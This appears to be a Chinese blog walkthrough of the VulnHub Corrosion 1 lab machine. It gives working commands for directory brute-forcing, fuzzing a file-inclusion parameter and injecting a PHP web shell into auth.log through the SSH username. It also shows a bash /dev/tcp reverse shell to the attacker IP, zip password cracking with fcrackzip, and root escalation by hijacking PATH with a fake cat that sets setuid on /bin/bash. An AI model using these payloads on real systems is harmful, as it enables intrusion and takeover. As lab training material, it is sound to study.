渗透环境

攻击机:   IP: 192.168.226.129(Kali)

靶机:     IP:192.168.226.128

靶机下载地址:https://www.vulnhub.com/entry/corrosion-1,730/

进行渗透

一、 获取端口信息

nmap或者arp-scan都能扫除IP,这里就不赘述了。先看看开放了哪些端口。

开放了22和80端口,访问80端口,可以正常访问。

二、 寻找WEB漏洞

对目录进行扫描,经过测试,使用dirsearch的默认字典扫描结果会有缺失,并且对于这个环境来说gobuster的扫描速度更快,因此我们使用gobuster使用指定字典/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt进行扫描

gobuster dir -u http://192.168.226.128/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

-u :指定爆破网站

-w :指定字典

扫描结果如下

访问host/tasks

打开tasks_todo.txt,获得以下提示

访问host/blog-post,没有发现有用信息

host/blog-post目录再次进行扫描

gobuster dir -u http://192.168.226.128/blog-post -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

扫描结果如下

访问hosst/blog-post/archives/,发现randylogs.php,直接点击打开是空白的。

看了其他师傅们的文章,这里是有一个文件包含漏洞,但是我们不知道传什么参,因此我们fuzz以下,参数值就设置为/etc/passwd,得到fuzz结果为file。

wfuzz -w /usr/share/wordlists/dirb/common.txt --hl 0 'http://192.168.226.128/blog-post/archives/randylogs.php?FUZZ=/etc/passwd'

-w :指定字典

-hl 0: 输出返回页面长度大于0的结果

除了使用wfuzz还可以使用fuff

ffuf -c -w /usr/share/wordlists/dirb/common.txt -u 'http://192.168.226.128/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' -fs 0

读取/etc/passwd内容,成功验证存在文件包含漏洞

三、 漏洞利用

根据前面tasks_todo.txt的提示,我们在/var/log/(日志文件一般都存在这儿)下发现了auth.log

http://192.168.226.128/blog-post/archives/randylogs.php?file=/var/log/auth.log

22端口是SSH服务的端口号,我们将一句话木马注入auth.log中。将一句话木马作为用户名连接靶机。这里我们使用system()而不使用eval(),这样可以通过终端返回的一些信息判断是否成功注入一句话木马。

ssh '<?php system($_GET['soap']);?>'@192.168.226.128

接下来我们对soap传参ifconfig或者其他命令,若成功返回信息,则可验证注入成功

http://192.168.226.128/blog-post/archives/randylogs.php?file=/var/log/auth.log&soap=ifconfig

验证注入成功,由于这是个log文件,不是php文件,因此我们无法使用蚁剑等工具连接一句话木马,不过可以用相同思路反弹shell。

启动监听,端口为4444

nc -nlvp 4444

连接监听端口

http://192.168.226.128/blog-post/archives/randylogs.php?file=/var/log/auth.log&soap=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.226.129%2F4444%200%3E%261%27

soap的参数值是

bash -c 'bash -i >& /dev/tcp/192.168.226.129/4444 0>&1' 的URL编码

也可以用

echo "bash -i >& /dev/tcp/192.168.226.129/4444 0>&1" | bash 的URL编码

成功反弹shell

四、 提权

常规思路,先看一下有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

没有发现可利用的文件。但是在/var下发现backups

user_backup.zip传到kali看看能不能获得有用信息。

靶机启动python搭建简易服务器

python3 -m http.server 8000

kali下载文件

wget http://192.168.226.128:8000/user_backup.zip

在kali中解压,发现需要密码,使用fcrackzip进行爆破,使用/usr/share/wordlists/rockyou.txt字典(kali自带,使用前先解压)

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip

得到密码!randybaby

解压文件

unzip user_backup.zip

然后输入密码,即可解压。解压后发现文件my_password.txt,猜测是用户randy的ssh连接密码,登陆成功。

接下来我们就可以查看当前用户能以管理员身份运行的命令

sudo -l

发现easysysinfo可以以管理员身份运行,我们上面解压后也得到easysysinfo.c,查看一下,发现easysysinfo会调用cat,而且没有使用绝对路径,那么我们就可以重写一个cat,并将其加入系统的环境变量,通过重写的cat实现提权

echo 'chmod +s /bin/bash' > cat     //在当前文件夹下写一个cat文件
chmod 777 cat //更改权限
export PATH=/home/randy/tools:$PATH //将当前路径加入环境变量
./easysysinfo //执行easysysinfo,会调用我们重写的cat
/bin/bash -p //root身份运行bash

chmod +s /bin/bash 是设置bash的setuid位,让用户在运行bash的过程中暂时获得拥有者的权限,运行easysysinfo时调用的是我们写的cat,就会让bash的setuid被设置,随后就可以以特权身份运行bash

发现flag在/root下,由于我们已经重写cat,因此我们用more来读取

渗透结束

【渗透测试】Vulnhub Corrosion 1的更多相关文章

  1. [经验分享] OSCP 渗透测试认证

    http://f4l13n5n0w.github.io/blog/2015/05/05/jing-yan-fen-xiang-oscp-shen-tou-ce-shi-ren-zheng/ “120天 ...

  2. Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装

    Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装  一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: 在Windows和Linux上安装Virt ...

  3. Kali Linux Web 渗透测试秘籍 中文版

    第一章 配置 Kali Linux 简介 在第一章中,我们会涉及如何准备我们的 Kali 以便能够遵循这本书中的秘籍,并使用虚拟机建立带有存在漏洞的 Web 应用的实验室. 1.1 升级和更新 Kal ...

  4. 渗透测试工具BurpSuite做网站的安全测试(基础版)

    渗透测试工具BurpSuite做网站的安全测试(基础版) 版权声明:本文为博主原创文章,未经博主允许不得转载. 学习网址: https://t0data.gitbooks.io/burpsuite/c ...

  5. 渗透测试-信息收集-c段收集

    平时做渗透测试我比较喜欢用lijiejie 写的 subDomainsBrute来爆破子域名 那么爆破完成后就想收集一下网站的c段信息 下面以平安为例 爆破得到子域名为 i.pingan.com.cn ...

  6. xss之渗透测试

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...

  7. ms08-067漏洞--初识渗透测试--想必很多初学者都会遇到我文中提及的各种问题

    最近读了一本书--<<渗透测试实践指南>>,测试了书中的一些例子后,开始拿ms08-067这个经典的严重漏洞练手,实践当中遇到诸多问题,好在一一解决了,获益匪浅. 在谷歌搜索的 ...

  8. 渗透测试工具Nmap从初级到高级使用教程

    本文由阿德马翻译自国外网站,请尊重劳动成果,转载请注明出处,谢谢 Nmap是一款网络扫描和主机检测的非常有用的工具.Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器.它 ...

  9. chapter1 渗透测试与metasploit

    网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...

  10. Kali Linux渗透测试实战 1.2 环境安装及初始化

    1.2 环境安装及初始化 目录(?)[-] 环境安装及初始化 下载映像 安装虚拟机 安装Kali Linux 安装中文输入法 安装VirtualBox增强工具 配置共享目录和剪贴板 运行 Metasp ...

随机推荐

  1. k8s强制删除pod节点

    场景 突然get pod的时候,发现一堆的错误,得把它干掉,否则很不爽. 解决方案 正常过期的状态,比如Evicted ,用正常指令 kubectl -n jingu get pods | grep ...

  2. openEuler欧拉修改SSH端口

    修改SSH端口的主要原因是提高服务器的安全性.默认情况下,SSH服务运行在端口22上,因此攻击者和自动化脚本通常会针对此端口发起暴力破解攻击.密码猜测和其他恶意活动. vim /etc/ssh/ssh ...

  3. android emulator 设置代理

    android emulator 设置代理 由于开发的 app 需要访问 google 服务,那么跑虚拟机的时候就需要设置网络代理,试了几种方法都没成功,记录一下 因为已知我开发电脑的代理地址和端口, ...

  4. 关于在VMware中安装的CentOS7系统中无法安装ntp

    一.问题引言 今天在虚拟机中新安装了CentOS7,在使用yum命令时,出现如下如错误: 2.点击图片中链接,即是"2"中的红框,发现该链接竟不可达 3.于是开始找度娘,但并没有发 ...

  5. Qt音视频开发27-ffmpeg视频旋转显示

    一.前言 用手机或者平板拍摄的视频文件,很可能是旋转的,比如分辨率是1280x720,确是垂直的,相当于分辨率变成了720x1280,如果不做旋转处理的话,那脑袋必须歪着看才行,这样看起来太难受,所以 ...

  6. Qt编写地图综合应用41-在线轮廓图

    一.前言 轮廓图也叫行政区划,这里的轮廓图是指百度地图的区域轮廓图,不是之前文章中提到的echart专用的轮廓图,百度地图的轮廓图就是一个不规则的多边形区域,只不过这个区域的坐标点一般是特别多的,比如 ...

  7. Qt通用方法及类库13

    函数名 //设置按钮样式 static QString setPushButtonQss(QPushButton *btn, //按钮对象 int radius = 5, //圆角半径 int pad ...

  8. 【狂神说Java】Java零基础学习笔记-异常

    [狂神说Java]Java零基础学习笔记-异常 异常01:Error和Exception 什么是异常 实际工作中,遇到的情况不可能是非常完美的.比如:你写的某个模块,用户输入不一定符合你的要求.你的程 ...

  9. AngleSharp 自带的HttpRequest参数设置

    AngleSharp自带一个获取网址源码的api,可以方便的从web取得html var config = Configuration.Default.WithDefaultLoader(); var ...

  10. Solution Set - “谁将重力悬空,坠入一场蔚蓝的梦”

    目录 0.「NOI Simu.」皮配 1.「BZOJ #4671」异或图 2.「CF 1158F」Density of subarrays 3.「CF 794G」Replace All 4.「UR # ...